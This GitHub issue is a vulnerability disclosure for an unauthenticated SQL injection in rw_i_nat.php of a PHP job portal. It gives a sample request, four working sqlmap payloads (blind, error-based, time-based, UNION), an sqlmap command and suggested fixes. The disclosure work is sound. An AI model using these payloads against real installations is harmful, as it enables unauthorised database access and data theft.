Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

code-projects Job Portal Using PHP With Source Code v1.0 rw_i_nat.php SQL injection #7

Open
space-security opened this issue Aug 11, 2024 · 0 comments

Comments

@space-security
Copy link
Owner

space-security commented Aug 11, 2024

code-projects Job Portal Using PHP With Source Code v1.0 rw_i_nat.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Job Portal Using PHP With Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • Liu Mingxuan, Liu Hang

institution

  • the School of Cybersecurity, Northwestern Polytechnical University

Vulnerable File

  • rw_i_nat.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'rw_i_nat.php' file of the 'Job Portal Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "id" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
1

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • Due to insufficient user input verification for the "id" parameter, a serious SQL injection vulnerability has been discovered in the "Job Portal Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login verification required

Vulnerability details and POC

POST /rw_i_nat.php HTTP/1.1
Host: 192.168.0.102:1111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://192.168.0.102:1111
Connection: close
Referer: http://192.168.0.102:1111/ResumeWritingInternational.php
Priority: u=0

id=1

Vulnerability type:

  • time-based blind
  • boolean-based blind
  • UNION query
  • error-based

Vulnerability location:

  • 'id' parameter

Payload:

Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (6591=6591) THEN 1 ELSE (SELECT 5181 UNION SELECT 4804) END))

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1 AND GTID_SUBSET(CONCAT(0x7170707871,(SELECT (ELT(4495=4495,1))),0x71787a6a71),4495)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 9867 FROM (SELECT(SLEEP(5)))QRhq)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170707871,0x54565371586775475a686a7a4d4a7953555668496d4a656f4651666f476558567758504572456f52,0x71787a6a71),NULL,NULL,NULL,NULL-- -


2 ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs
<img width="504" alt="3" src="https://github.com/user-attachments/assets/5de5798b-b971-4015-867c-1ec342be63a9">

# Suggested repair
1. **Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format. 

3. **Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant